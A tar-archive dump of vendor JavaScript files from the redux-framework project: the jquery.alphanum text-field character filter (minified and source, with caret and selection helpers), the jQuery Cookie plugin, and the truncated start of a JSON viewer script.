e,t,u={allow:"",disallow:"",allowSpace:!0,allowNumeric:!0,allowUpper:!0,allowLower:!0,allowCaseless:!0,allowLatin:!0,allowOtherCharSets:!0,maxLength:NaN},r={allowPlus:!1,allowMinus:!0,allowThouSep:!0,allowDecSep:!0,allowLeadingSpaces:!1,maxDigits:NaN,maxDecimalPlaces:NaN,maxPreDecimalPlaces:NaN,max:NaN,min:NaN},s={alpha:{allowNumeric:!1},upper:{allowNumeric:!1,allowUpper:!0,allowLower:!1,allowCaseless:!0},lower:{allowNumeric:!1,allowUpper:!1,allowLower:!0,allowCaseless:!0}},a={integer:{allowPlus:!1,allowMinus:!0,allowThouSep:!1,allowDecSep:!1},positiveInteger:{allowPlus:!1,allowMinus:!1,allowThouSep:!1,allowDecSep:!1}},f="!@#$%^&*()+=[]\\';,/{}|\":<>?~`.-_ ¬€£¦",l=",",p=".",g=function(){var e,t="0123456789".split(""),n={},r=0;for(r=0;r<t.length;r++)e=t[r],n[e]=!0;return n}(),w=(t=(e="abcdefghijklmnopqrstuvwxyz").toUpperCase(),new T(e+t));function n(e,s,f){e.each(function(){var u=c(this);u.bind("keyup change paste",function(e){var t="";e.originalEvent&&e.originalEvent.clipboardData&&e.originalEvent.clipboardData.getData&&(t=e.originalEvent.clipboardData.getData("text/plain")),setTimeout(function(){!function(e,t,n,r){var a=e.val();""==a&&0<r.length&&(a=r);var o=t(a,n);if(a==o)return;var i=e.alphanum_caret();e.val(o),a.length==o.length+1?e.alphanum_caret(i-1):e.alphanum_caret(i)}(u,s,f,t)},0)}),u.bind("keypress",function(e){var t=e.charCode?e.charCode:e.which;if((32<=(n=t)||10==n||13==n)&&!e.ctrlKey&&!e.metaKey){var n,r=String.fromCharCode(t),a=u.selection(),o=a.start,i=a.end,l=u.val(),c=l.substring(0,o)+r+l.substring(i);s(c,f)!=c&&e.preventDefault()}})})}function o(e){return!isNaN(e)}function i(e,t){void 0===t&&(t=u);var n,r,a,o,i,l={};return n="string"==typeof e?s[e]:void 0===e?{}:e,c.extend(l,t,n),void 0===l.blacklist&&(l.blacklistSet=(r=l.allow,a=l.disallow,o=new T(f+a),i=new T(r),o.subtract(i))),l}function h(e){var t,n={};return t="string"==typeof e?a[e]:void 0===e?{}:e,c.extend(n,r,t),n}function d(e,t,n){if(g[t])return!function(e,t){var n=t.maxDigits;if(""==n||isNaN(n))return!1;var r=v(e);return n<=r}(e,n)&&(!function(e,t){var n=t.maxPreDecimalPlaces;if(""==n||isNaN(n))return!1;if(0<=e.indexOf(p))return!1;var r=v(e);return n<=r}(e,n)&&(!function(e,t){var n=t.maxDecimalPlaces;if(""==n||isNaN(n))return!1;var r=e.indexOf(p);if(-1==r)return!1;var a=v(e.substring(r));return n<=a}(e,n)&&(o=e+t,(!(i=n).max||i.max<0||!(parseFloat(o)>i.max))&&(r=e+t,!(a=n).min||0<a.min||!(parseFloat(r)<a.min)))));var r,a,o,i;if(n.allowPlus&&"+"==t&&""==e)return!0;if(n.allowMinus&&"-"==t&&""==e)return!0;if(t==l&&n.allowThouSep&&function(e,t){if(0==e.length)return!1;if(0<=e.indexOf(p))return!1;var n=e.indexOf(l);if(n<0)return!0;var r=e.lastIndexOf(l);return!(e.length-r-1<3||0<v(e.substring(n))%3)}(e))return!0;if(t==p){if(0<=e.indexOf(p))return!1;if(n.allowDecSep)return!0}return!1}function v(e){return(e+="").replace(/[^0-9]/g,"").length}function m(e,t){if("string"!=typeof e)return e;var n,r,a,o,i,l,c,u,s,f,p,h=e.split(""),d=[],v=0;for(v=0;v<h.length;v++){n=h[v];var m=d.join("");r=m,a=n,p=f=s=u=c=l=i=void 0,(o=t).maxLength&&r.length>=o.maxLength||!(0<=o.allow.indexOf(a)||o.allowSpace&&" "==a)&&(o.blacklistSet.contains(a)||!o.allowNumeric&&g[a]||!o.allowUpper&&(l=(i=a).toUpperCase(),c=i.toLowerCase(),i==l&&l!=c)||!o.allowLower&&(s=(u=a).toUpperCase(),f=u.toLowerCase(),u==f&&s!=f)||!o.allowCaseless&&(p=a).toUpperCase()==p.toLowerCase()||!o.allowLatin&&w.contains(a)||!(o.allowOtherCharSets||g[a]||w.contains(a)))||d.push(n)}return d.join("")}function S(e,t){if("string"!=typeof e)return e;var n,r=e.split(""),a=[],o=0;for(o=0;o<r.length;o++){n=r[o],d(a.join(""),n,t)&&a.push(n)}return a.join("")}function T(e){this.map="string"==typeof e?function(e){var t,n={},r=e.split(""),a=0;for(a=0;a<r.length;a++)t=r[a],n[t]=!0;return n}(e):{}}T.prototype.add=function(e){var t=this.clone();for(var n in e.map)t.map[n]=!0;return t},T.prototype.subtract=function(e){var t=this.clone();for(var n in e.map)delete t.map[n];return t},T.prototype.contains=function(e){return!!this.map[e]},T.prototype.clone=function(){var e=new T;for(var t in this.map)e.map[t]=!0;return e},c.fn.alphanum.backdoorAlphaNum=function(e,t){return m(e,i(t))},c.fn.alphanum.backdoorNumeric=function(e,t){return S(e,h(t))},c.fn.alphanum.setNumericSeparators=function(e){1==e.thousandsSeparator.length&&1==e.decimalSeparator.length&&(l=e.thousandsSeparator,p=e.decimalSeparator)}}(jQuery),function(a){function o(e,t){if(e.createTextRange){var n=e.createTextRange();n.move("character",t),n.select()}else null!=e.selectionStart&&(e.focus(),e.setSelectionRange(t,t))}a.fn.alphanum_caret=function(n,r){return void 0===n?function(e){if("selection"in document){var t=e.createTextRange();try{t.setEndPoint("EndToStart",document.selection.createRange())}catch(e){return 0}return t.text.length}if(null!=e.selectionStart)return e.selectionStart}(this.get(0)):this.queue(function(e){if(isNaN(n)){var t=a(this).val().indexOf(n);!0===r?t+=n.length:void 0!==r&&(t+=r),o(this,t)}else o(this,n);e()})}}(jQuery),function(u){var s=function(e){return e?e.ownerDocument.defaultView||e.ownerDocument.parentWindow:window},f=function(e,t){var n=u.Range.current(e).clone(),r=u.Range(e).select(e);return n.overlaps(r)?(n.compare("START_TO_START",r)<1?(startPos=0,n.move("START_TO_START",r)):(fromElementToCurrent=r.clone(),fromElementToCurrent.move("END_TO_START",n),startPos=fromElementToCurrent.toString().length),0<=n.compare("END_TO_END",r)?endPos=r.toString().length:endPos=startPos+n.toString().length,{start:startPos,end:endPos}):null},p=function(e,t,n){var r,a,o,i,l,c;n=n||0;for(var u=0;e[u];u++)3===(r=e[u]).nodeType||4===r.nodeType?(a=n,n+=r.nodeValue.length,o=a,i=n,c=r,"number"==typeof(l=t)[0]&&l[0]<i&&(l[0]={el:c,count:l[0]-o}),"number"==typeof l[1]&&l[1]<=i&&(l[1]={el:c,count:l[1]-o})):8!==r.nodeType&&(n=p(r.childNodes,t,n));return n};jQuery.fn.selection=function(e,t){return void 0!==e?this.each(function(){!function(e,t,n){var r=s(e);if(e.setSelectionRange)void 0===n?(e.focus(),e.setSelectionRange(t,t)):(e.select(),e.selectionStart=t,e.selectionEnd=n);else if(e.createTextRange){var a=e.createTextRange();a.moveStart("character",t),n=n||t,a.moveEnd("character",n-e.value.length),a.select()}else if(r.getSelection){var o=r.document,i=r.getSelection(),l=o.createRange(),c=[t,void 0!==n?n:t];p([e],c),l.setStart(c[0].el,c[0].count),l.setEnd(c[1].el,c[1].count),i.removeAllRanges(),i.addRange(l)}else r.document.body.createTextRange&&((l=document.body.createTextRange()).moveToElementText(e),l.collapse(),l.moveStart("character",t),l.moveEnd("character",void 0!==n?n:t),l.select())}(this,e,t)}):function(t){var e=s(t);if(void 0!==t.selectionStart)return document.activeElement&&document.activeElement!=t&&t.selectionStart==t.selectionEnd&&0==t.selectionStart?{start:t.value.length,end:t.value.length}:{start:t.selectionStart,end:t.selectionEnd};if(e.getSelection)return f(t);try{if("input"==t.nodeName.toLowerCase()){var n=s(t).document.selection.createRange(),r=t.createTextRange();r.setEndPoint("EndToStart",n);var a=r.text.length;return{start:a,end:a+n.text.length}}var o=f(t);if(!o)return o;var i=u.Range.current().clone(),l=i.clone().collapse().range,c=i.clone().collapse(!1).range;return l.moveStart("character",-1),c.moveStart("character",-1),0!=o.startPos&&""==l.text&&(o.startPos+=2),0!=o.endPos&&""==c.text&&(o.endPos+=2),o}catch(e){return{start:t.value.length,end:t.value.length}}}(this[0])},u.fn.selection.getCharElement=p}(jQuery);��������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������redux-framework/assets/js/vendor/jquery.alphanum.js�������������������������������������������������0000644�����������������00000055415�14720701300�0016566 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������/******************************************************************** * Limit the characters that may be entered in a text field * Common options: alphanumeric, alphabetic or numeric * Kevin Sheedy, 2012 * http://github.com/KevinSheedy/jquery.alphanum *********************************************************************/ (function( $ ){ // API /////////////////////////////////////////////////////////////////// $.fn.alphanum = function(settings) { var combinedSettings = getCombinedSettingsAlphaNum(settings); var $collection = this; setupEventHandlers($collection, trimAlphaNum, combinedSettings); return this; }; $.fn.alpha = function(settings) { var defaultAlphaSettings = getCombinedSettingsAlphaNum("alpha"); var combinedSettings = getCombinedSettingsAlphaNum(settings, defaultAlphaSettings); var $collection = this; setupEventHandlers($collection, trimAlphaNum, combinedSettings); return this; }; $.fn.numeric = function(settings) { var combinedSettings = getCombinedSettingsNum(settings); var $collection = this; setupEventHandlers($collection, trimNum, combinedSettings); $collection.blur(function(){ numericField_Blur(this, settings); }); return this; }; // End of API ///////////////////////////////////////////////////////////// // Start Settings //////////////////////////////////////////////////////// var DEFAULT_SETTINGS_ALPHANUM = { allow : '', // Allow extra characters disallow : '', // Disallow extra characters allowSpace : true, // Allow the space character allowNumeric : true, // Allow digits 0-9 allowUpper : true, // Allow upper case characters allowLower : true, // Allow lower case characters allowCaseless : true, // Allow characters that don't have both upper & lower variants - eg Arabic or Chinese allowLatin : true, // a-z A-Z allowOtherCharSets : true, // eg , , Arabic, Chinese etc maxLength : NaN // eg Max Length } var DEFAULT_SETTINGS_NUM = { allowPlus : false, // Allow the + sign allowMinus : true, // Allow the - sign allowThouSep : true, // Allow the thousands separator, default is the comma eg 12,000 allowDecSep : true, // Allow the decimal separator, default is the fullstop eg 3.141 allowLeadingSpaces : false, maxDigits : NaN, // The max number of digits maxDecimalPlaces : NaN, // The max number of decimal places maxPreDecimalPlaces : NaN, // The max number digits before the decimal point max : NaN, // The max numeric value allowed min : NaN // The min numeric value allowed } // Some pre-defined groups of settings for convenience var CONVENIENCE_SETTINGS_ALPHANUM = { "alpha" : { allowNumeric : false }, "upper" : { allowNumeric : false, allowUpper : true, allowLower : false, allowCaseless : true }, "lower" : { allowNumeric : false, allowUpper : false, allowLower : true, allowCaseless : true } }; // Some pre-defined groups of settings for convenience var CONVENIENCE_SETTINGS_NUMERIC = { "integer" : { allowPlus : false, allowMinus : true, allowThouSep : false, allowDecSep : false }, "positiveInteger" : { allowPlus : false, allowMinus : false, allowThouSep : false, allowDecSep : false } }; var BLACKLIST = getBlacklistAscii() + getBlacklistNonAscii(); var THOU_SEP = ","; var DEC_SEP = "."; var DIGITS = getDigitsMap(); var LATIN_CHARS = getLatinCharsSet(); // Return the blacklisted special chars that are encodable using 7-bit ascii function getBlacklistAscii(){ var blacklist = '!@#$%^&*()+=[]\\\';,/{}|":<>?~`.-_'; blacklist += " "; // 'Space' is on the blacklist but can be enabled using the 'allowSpace' config entry return blacklist; } // Return the blacklisted special chars that are NOT encodable using 7-bit ascii // We want this .js file to be encoded using 7-bit ascii so it can reach the widest possible audience // Higher order chars must be escaped eg "\xAC" // Not too worried about comments containing higher order characters for now (let's wait and see if it becomes a problem) function getBlacklistNonAscii(){ var blacklist = "\xAC" // + "\u20AC" // + "\xA3" // + "\xA6" // ; return blacklist; } // End Settings //////////////////////////////////////////////////////// // Implementation details go here //////////////////////////////////////////////////////// function setupEventHandlers($textboxes, trimFunction, settings) { $textboxes.each(function(){ var $textbox = $(this); $textbox.bind("keyup change paste", function(e){ var pastedText = ""; if(e.originalEvent && e.originalEvent.clipboardData && e.originalEvent.clipboardData.getData) pastedText = e.originalEvent.clipboardData.getData("text/plain") // setTimeout is necessary for handling the 'paste' event setTimeout(function(){ trimTextbox($textbox, trimFunction, settings, pastedText); }, 0); }); $textbox.bind("keypress", function(e){ // Determine which key is pressed. // If it's a control key, then allow the event's default action to occur eg backspace, tab var charCode = !e.charCode ? e.which : e.charCode; if(isControlKey(charCode) || e.ctrlKey || e.metaKey ) // cmd on MacOS return; var newChar = String.fromCharCode(charCode); // Determine if some text was selected / highlighted when the key was pressed var selectionObject = $textbox.selection(); var start = selectionObject.start; var end = selectionObject.end; var textBeforeKeypress = $textbox.val(); // The new char may be inserted: // 1) At the start // 2) In the middle // 3) At the end // 4) User highlights some text and then presses a key which would replace the highlighted text // // Here we build the string that would result after the keypress. // If the resulting string is invalid, we cancel the event. // Unfortunately, it isn't enough to just check if the new char is valid because some chars // are position sensitive eg the decimal point '.'' or the minus sign '-'' are only valid in certain positions. var potentialTextAfterKeypress = textBeforeKeypress.substring(0, start) + newChar + textBeforeKeypress.substring(end); var validatedText = trimFunction(potentialTextAfterKeypress, settings); // If the keypress would cause the textbox to contain invalid characters, then cancel the keypress event if(validatedText != potentialTextAfterKeypress) e.preventDefault(); }); }); } // Ensure the text is a valid number when focus leaves the textbox // This catches the case where a user enters '-' or '.' without entering any digits function numericField_Blur(inputBox, settings) { var fieldValueNumeric = parseFloat($(inputBox).val()); var $inputBox = $(inputBox); if(isNaN(fieldValueNumeric)) { $inputBox.val(""); return; } if(isNumeric(settings.min) && fieldValueNumeric < settings.min) $inputBox.val(""); if(isNumeric(settings.max) && fieldValueNumeric > settings.max) $inputBox.val(""); } function isNumeric(value) { return !isNaN(value); } function isControlKey(charCode) { if(charCode >= 32) return false; if(charCode == 10) return false; if(charCode == 13) return false; return true; } // One way to prevent a character being entered is to cancel the keypress event. // However, this gets messy when you have to deal with things like copy paste which isn't a keypress. // Which event gets fired first, keypress or keyup? What about IE6 etc etc? // Instead, it's easier to allow the 'bad' character to be entered and then to delete it immediately after. function trimTextbox($textBox, trimFunction, settings, pastedText){ var inputString = $textBox.val(); if(inputString == "" && pastedText.length > 0) inputString = pastedText; var outputString = trimFunction(inputString, settings); if(inputString == outputString) return; var caretPos = $textBox.alphanum_caret(); $textBox.val(outputString); //Reset the caret position if(inputString.length ==(outputString.length + 1)) $textBox.alphanum_caret(caretPos - 1); else $textBox.alphanum_caret(caretPos); } function getCombinedSettingsAlphaNum(settings, defaultSettings){ if(typeof defaultSettings == "undefined") defaultSettings = DEFAULT_SETTINGS_ALPHANUM; var userSettings, combinedSettings = {}; if(typeof settings === "string") userSettings = CONVENIENCE_SETTINGS_ALPHANUM[settings]; else if(typeof settings == "undefined") userSettings = {}; else userSettings = settings; $.extend(combinedSettings, defaultSettings, userSettings); if(typeof combinedSettings.blacklist == 'undefined') combinedSettings.blacklistSet = getBlacklistSet(combinedSettings.allow, combinedSettings.disallow); return combinedSettings; } function getCombinedSettingsNum(settings){ var userSettings, combinedSettings = {}; if(typeof settings === "string") userSettings = CONVENIENCE_SETTINGS_NUMERIC[settings]; else if(typeof settings == "undefined") userSettings = {}; else userSettings = settings; $.extend(combinedSettings, DEFAULT_SETTINGS_NUM, userSettings); return combinedSettings; } // This is the heart of the algorithm function alphanum_allowChar(validatedStringFragment, Char, settings){ if(settings.maxLength && validatedStringFragment.length >= settings.maxLength) return false; if(settings.allow.indexOf(Char) >=0 ) return true; if(settings.allowSpace && (Char == " ")) return true; if(settings.blacklistSet.contains(Char)) return false; if(!settings.allowNumeric && DIGITS[Char]) return false; if(!settings.allowUpper && isUpper(Char)) return false; if(!settings.allowLower && isLower(Char)) return false; if(!settings.allowCaseless && isCaseless(Char)) return false; if(!settings.allowLatin && LATIN_CHARS.contains(Char)) return false; if(!settings.allowOtherCharSets){ if(DIGITS[Char] || LATIN_CHARS.contains(Char)) return true; else return false; } return true; } function numeric_allowChar(validatedStringFragment, Char, settings){ if(DIGITS[Char]) { if(isMaxDigitsReached(validatedStringFragment, settings)) return false; if(isMaxPreDecimalsReached(validatedStringFragment, settings)) return false; if(isMaxDecimalsReached(validatedStringFragment, settings)) return false; if(isGreaterThanMax(validatedStringFragment + Char, settings)) return false; if(isLessThanMin(validatedStringFragment + Char, settings)) return false; return true; } if(settings.allowPlus && Char == '+' && validatedStringFragment == '') return true; if(settings.allowMinus && Char == '-' && validatedStringFragment == '') return true; if(Char == THOU_SEP && settings.allowThouSep && allowThouSep(validatedStringFragment, Char)) return true; if(Char == DEC_SEP) { // Only one decimal separator allowed if(validatedStringFragment.indexOf(DEC_SEP) >= 0) return false; if(settings.allowDecSep) return true; } return false; } function countDigits(string) { // Error handling, nulls etc string = string + ""; // Count the digits return string.replace(/[^0-9]/g,"").length; } function isMaxDigitsReached(string, settings) { var maxDigits = settings.maxDigits; if(maxDigits == "" || isNaN(maxDigits)) return false; // In this case, there is no maximum var numDigits = countDigits(string); if(numDigits >= maxDigits) return true; return false; } function isMaxDecimalsReached(string, settings) { var maxDecimalPlaces = settings.maxDecimalPlaces; if(maxDecimalPlaces == "" || isNaN(maxDecimalPlaces)) return false; // In this case, there is no maximum var indexOfDecimalPoint = string.indexOf(DEC_SEP); if(indexOfDecimalPoint == -1) return false; var decimalSubstring = string.substring(indexOfDecimalPoint); var numDecimals = countDigits(decimalSubstring); if(numDecimals >= maxDecimalPlaces) return true; return false; } function isMaxPreDecimalsReached(string, settings) { var maxPreDecimalPlaces = settings.maxPreDecimalPlaces; if(maxPreDecimalPlaces == "" || isNaN(maxPreDecimalPlaces)) return false; // In this case, there is no maximum var indexOfDecimalPoint = string.indexOf(DEC_SEP); if(indexOfDecimalPoint >= 0) return false; var numPreDecimalDigits = countDigits(string); if(numPreDecimalDigits >= maxPreDecimalPlaces) return true; return false; } function isGreaterThanMax(numericString, settings) { if(!settings.max || settings.max < 0) return false; var outputNumber = parseFloat(numericString); if(outputNumber > settings.max) return true; return false; } function isLessThanMin(numericString, settings) { if(!settings.min || settings.min > 0) return false; var outputNumber = parseFloat(numericString); if(outputNumber < settings.min) return true; return false; } /******************************** * Trims a string according to the settings provided ********************************/ function trimAlphaNum(inputString, settings){ if(typeof inputString != "string") return inputString; var inChars = inputString.split(""); var outChars = []; var i = 0; var Char; for(i=0; i<inChars.length; i++){ Char = inChars[i]; var validatedStringFragment = outChars.join(""); if(alphanum_allowChar(validatedStringFragment, Char, settings)) outChars.push(Char); } return outChars.join(""); } function trimNum(inputString, settings){ if(typeof inputString != "string") return inputString; var inChars = inputString.split(""); var outChars = []; var i = 0; var Char; for(i=0; i<inChars.length; i++){ Char = inChars[i]; var validatedStringFragment = outChars.join(""); if(numeric_allowChar(validatedStringFragment, Char, settings)) outChars.push(Char); } return outChars.join(""); } function removeUpperCase(inputString){ var charArray = inputString.split(''); var i = 0; var outputArray = []; var Char; for(i=0; i<charArray.length; i++){ Char = charArray[i]; } } function removeLowerCase(inputString){ } function isUpper(Char){ var upper = Char.toUpperCase(); var lower = Char.toLowerCase(); if( (Char == upper) && (upper != lower)) return true; else return false; } function isLower(Char){ var upper = Char.toUpperCase(); var lower = Char.toLowerCase(); if( (Char == lower) && (upper != lower)) return true; else return false; } function isCaseless(Char){ if(Char.toUpperCase() == Char.toLowerCase()) return true; else return false; } function getBlacklistSet(allow, disallow){ var setOfBadChars = new Set(BLACKLIST + disallow); var setOfGoodChars = new Set(allow); var blacklistSet = setOfBadChars.subtract(setOfGoodChars); return blacklistSet; } function getDigitsMap(){ var array = "0123456789".split(""); var map = {}; var i = 0; var digit; for(i=0; i<array.length; i++){ digit = array[i]; map[digit] = true; } return map; } function getLatinCharsSet(){ var lower = "abcdefghijklmnopqrstuvwxyz"; var upper = lower.toUpperCase(); var azAZ = new Set(lower + upper); return azAZ; } function allowThouSep(currentString, Char) { // Can't start with a THOU_SEP if(currentString.length == 0) return false; // Can't have a THOU_SEP anywhere after a DEC_SEP var posOfDecSep = currentString.indexOf(DEC_SEP); if(posOfDecSep >= 0) return false; var posOfFirstThouSep = currentString.indexOf(THOU_SEP); // Check if this is the first occurrence of a THOU_SEP if(posOfFirstThouSep < 0) return true; var posOfLastThouSep = currentString.lastIndexOf(THOU_SEP); var charsSinceLastThouSep = currentString.length - posOfLastThouSep - 1; // Check if there has been 3 digits since the last THOU_SEP if(charsSinceLastThouSep < 3) return false; var digitsSinceFirstThouSep = countDigits(currentString.substring(posOfFirstThouSep)); // Check if there has been a multiple of 3 digits since the first THOU_SEP if((digitsSinceFirstThouSep % 3) > 0) return false; return true; } //////////////////////////////////////////////////////////////////////////////////// // Implementation of a Set //////////////////////////////////////////////////////////////////////////////////// function Set(elems){ if(typeof elems == "string") this.map = stringToMap(elems); else this.map = {}; } Set.prototype.add = function(set){ var newSet = this.clone(); for(var key in set.map) newSet.map[key] = true; return newSet; } Set.prototype.subtract = function(set){ var newSet = this.clone(); for(var key in set.map) delete newSet.map[key]; return newSet; } Set.prototype.contains = function(key){ if(this.map[key]) return true; else return false; } Set.prototype.clone = function(){ var newSet = new Set(); for(var key in this.map) newSet.map[key] = true; return newSet; } //////////////////////////////////////////////////////////////////////////////////// function stringToMap(string){ var map = {}; var array = string.split(""); var i=0; var Char; for(i=0; i<array.length; i++){ Char = array[i]; map[Char] = true; } return map; } // Backdoor for testing $.fn.alphanum.backdoorAlphaNum = function(inputString, settings){ var combinedSettings = getCombinedSettingsAlphaNum(settings); return trimAlphaNum(inputString, combinedSettings); }; $.fn.alphanum.backdoorNumeric = function(inputString, settings){ var combinedSettings = getCombinedSettingsNum(settings); return trimNum(inputString, combinedSettings); }; $.fn.alphanum.setNumericSeparators = function(settings) { if(settings.thousandsSeparator.length != 1) return; if(settings.decimalSeparator.length != 1) return; THOU_SEP = settings.thousandsSeparator; DEC_SEP = settings.decimalSeparator; } })( jQuery ); //Include the 3rd party lib: jquery.caret.js // Set caret position easily in jQuery // Written by and Copyright of Luke Morton, 2011 // Licensed under MIT (function ($) { // Behind the scenes method deals with browser // idiosyncrasies and such function caretTo(el, index) { if (el.createTextRange) { var range = el.createTextRange(); range.move("character", index); range.select(); } else if (el.selectionStart != null) { el.focus(); el.setSelectionRange(index, index); } }; // Another behind the scenes that collects the // current caret position for an element // TODO: Get working with Opera function caretPos(el) { if ("selection" in document) { var range = el.createTextRange(); try { range.setEndPoint("EndToStart", document.selection.createRange()); } catch (e) { // Catch IE failure here, return 0 like // other browsers return 0; } return range.text.length; } else if (el.selectionStart != null) { return el.selectionStart; } }; // The following methods are queued under fx for more // flexibility when combining with $.fn.delay() and // jQuery effects. // Set caret to a particular index $.fn.alphanum_caret = function (index, offset) { if (typeof(index) === "undefined") { return caretPos(this.get(0)); } return this.queue(function (next) { if (isNaN(index)) { var i = $(this).val().indexOf(index); if (offset === true) { i += index.length; } else if (typeof(offset) !== "undefined") { i += offset; } caretTo(this, i); } else { caretTo(this, index); } next(); }); }; }(jQuery)); /********************************************************** * Selection Library * Used to determine what text is highlighted in the textbox before a key is pressed. * http://donejs.com/docs.html#!jQuery.fn.selection * https://github.com/jupiterjs/jquerymx/blob/master/dom/selection/selection.js ***********************************************************/ (function(e){var t=function(e){return e.replace(/([a-z])([a-z]+)/gi,function(e,t,n){return t+n.toLowerCase()}).replace(/_/g,"")},n=function(e){return e.replace(/^([a-z]+)_TO_([a-z]+)/i,function(e,t,n){return n+"_TO_"+t})},r=function(e){return e?e.ownerDocument.defaultView||e.ownerDocument.parentWindow:window},i=function(t,n){var r=e.Range.current(t).clone(),i=e.Range(t).select(t);if(!r.overlaps(i)){return null}if(r.compare("START_TO_START",i)<1){startPos=0;r.move("START_TO_START",i)}else{fromElementToCurrent=i.clone();fromElementToCurrent.move("END_TO_START",r);startPos=fromElementToCurrent.toString().length}if(r.compare("END_TO_END",i)>=0){endPos=i.toString().length}else{endPos=startPos+r.toString().length}return{start:startPos,end:endPos}},s=function(t){var n=r(t);if(t.selectionStart!==undefined){if(document.activeElement&&document.activeElement!=t&&t.selectionStart==t.selectionEnd&&t.selectionStart==0){return{start:t.value.length,end:t.value.length}}return{start:t.selectionStart,end:t.selectionEnd}}else if(n.getSelection){return i(t,n)}else{try{if(t.nodeName.toLowerCase()=="input"){var s=r(t).document.selection.createRange(),o=t.createTextRange();o.setEndPoint("EndToStart",s);var u=o.text.length;return{start:u,end:u+s.text.length}}else{var a=i(t,n);if(!a){return a}var f=e.Range.current().clone(),l=f.clone().collapse().range,c=f.clone().collapse(false).range;l.moveStart("character",-1);c.moveStart("character",-1);if(a.startPos!=0&&l.text==""){a.startPos+=2}if(a.endPos!=0&&c.text==""){a.endPos+=2}return a}}catch(h){return{start:t.value.length,end:t.value.length}}}},o=function(e,t,n){var i=r(e);if(e.setSelectionRange){if(n===undefined){e.focus();e.setSelectionRange(t,t)}else{e.select();e.selectionStart=t;e.selectionEnd=n}}else if(e.createTextRange){var s=e.createTextRange();s.moveStart("character",t);n=n||t;s.moveEnd("character",n-e.value.length);s.select()}else if(i.getSelection){var o=i.document,u=i.getSelection(),f=o.createRange(),l=[t,n!==undefined?n:t];a([e],l);f.setStart(l[0].el,l[0].count);f.setEnd(l[1].el,l[1].count);u.removeAllRanges();u.addRange(f)}else if(i.document.body.createTextRange){var f=document.body.createTextRange();f.moveToElementText(e);f.collapse();f.moveStart("character",t);f.moveEnd("character",n!==undefined?n:t);f.select()}},u=function(e,t,n,r){if(typeof n[0]==="number"&&n[0]<t){n[0]={el:r,count:n[0]-e}}if(typeof n[1]==="number"&&n[1]<=t){n[1]={el:r,count:n[1]-e};}},a=function(e,t,n){var r,i;n=n||0;for(var s=0;e[s];s++){r=e[s];if(r.nodeType===3||r.nodeType===4){i=n;n+=r.nodeValue.length;u(i,n,t,r)}else if(r.nodeType!==8){n=a(r.childNodes,t,n)}}return n};jQuery.fn.selection=function(e,t){if(e!==undefined){return this.each(function(){o(this,e,t)})}else{return s(this[0])}};e.fn.selection.getCharElement=a})(jQuery)���������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������redux-framework/assets/js/vendor/cookie.js����������������������������������������������������������0000644�����������������00000004434�14720701300�0014707 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������/*! * jQuery Cookie Plugin v1.3.1 * https://github.com/carhartl/jquery-cookie * * Copyright 2013 Klaus Hartl * Released under the MIT license */ (function (factory) { if (typeof define === 'function' && define.amd) { // AMD. Register as anonymous module. jQueryCookie.define(['jquery'], factory); } else { // Browser globals. factory(jQuery); } }(function ($) { var pluses = /\+/g; function raw(s) { return s; } function decoded(s) { return decodeURIComponent(s.replace(pluses, ' ')); } function converted(s) { if (s.indexOf('"') === 0) { // This is a quoted cookie as according to RFC2068, unescape s = s.slice(1, -1).replace(/\\"/g, '"').replace(/\\\\/g, '\\'); } try { return config.json ? JSON.parse(s) : s; } catch(er) {} } var config = $.cookie = function (key, value, options) { // write if (value !== undefined) { options = $.extend({}, config.defaults, options); if (typeof options.expires === 'number') { var days = options.expires, t = options.expires = new Date(); t.setDate(t.getDate() + days); } value = config.json ? JSON.stringify(value) : String(value); return (document.cookie = [ config.raw ? key : encodeURIComponent(key), '=', config.raw ? value : encodeURIComponent(value), options.expires ? '; expires=' + options.expires.toUTCString() : '', // use expires attribute, max-age is not supported by IE options.path ? '; path=' + options.path : '', options.domain ? '; domain=' + options.domain : '', options.secure ? '; secure' : '' ].join('')); } // read var decode = config.raw ? raw : decoded; var cookies = document.cookie.split('; '); var result = key ? undefined : {}; for (var i = 0, l = cookies.length; i < l; i++) { var parts = cookies[i].split('='); var name = decode(parts.shift()); var cookie = decode(parts.join('=')); if (key && key === name) { result = converted(cookie); break; } if (!key) { result[name] = converted(cookie); } } return result; }; config.defaults = {}; $.removeCookie = function (key, options) { if ($.cookie(key) !== undefined) { // Must not alter options, thus extending a fresh object... $.cookie(key, '', $.extend({}, options, { expires: -1 })); return true; } return false; }; }));������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������redux-framework/assets/js/vendor/jsonview.min.js����������������������������������������������������0000644�����������������00000012730�14720701300�0016062 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������/* global console, jsonView *//* * ViewJSON * Version 1.0 * A Google Chrome extension to display JSON in a user-friendly format * * This is a chromeified version of the JSONView Firefox extension by Ben Hollis: * http://jsonview.com * http://code.google.com/p/jsonview * * Also based on the XMLTree Chrome extension by Moonty & alan.stroop * https://chrome.google.com/extensions/detail/gbammbheopgpmaagmckhpjbfgdfkpadb * * port by Jamie Wilkinson (@jamiew) | http://jamiedubs.com | http://github.com/jamiew * MIT license / copyfree (f) F.A.T. Lab http://fffff.at * Speed Project Approved: 2h */function collapse(e){var t=e.target,n=t.parentNode.getElementsByClassName("collapsible");if(!n.length)return;n=n[0];if(n.style.display==="none"){var r=n.parentNode.getElementsByClassName("ellipsis")[0];n.parentNode.removeChild(r),n.style.display=""}else{n.style.display="none";var r=document.createElement("span");r.className="ellipsis",r.innerHTML=" … ",n.parentNode.insertBefore(r,n)}t.innerHTML=t.innerHTML==="-"?"+":"-"}function addCollapser(e){if(e.nodeName!=="LI")return;var t=document.createElement("div");t.className="collapser",t.innerHTML="-",t.addEventListener("click",collapse,!1),e.insertBefore(t,e.firstChild)}function jsonView(e,t){this.debug=!1;if(e.indexOf("#")!==-1)this.idType="id",this.id=e.replace("#","");else{if(e.indexOf(".")===-1){this.debug&&console.log("Can't find that element");return}this.idType="class",this.id=e.replace(".","")}this.data=document.getElementById(this.id).innerHTML;if(typeof 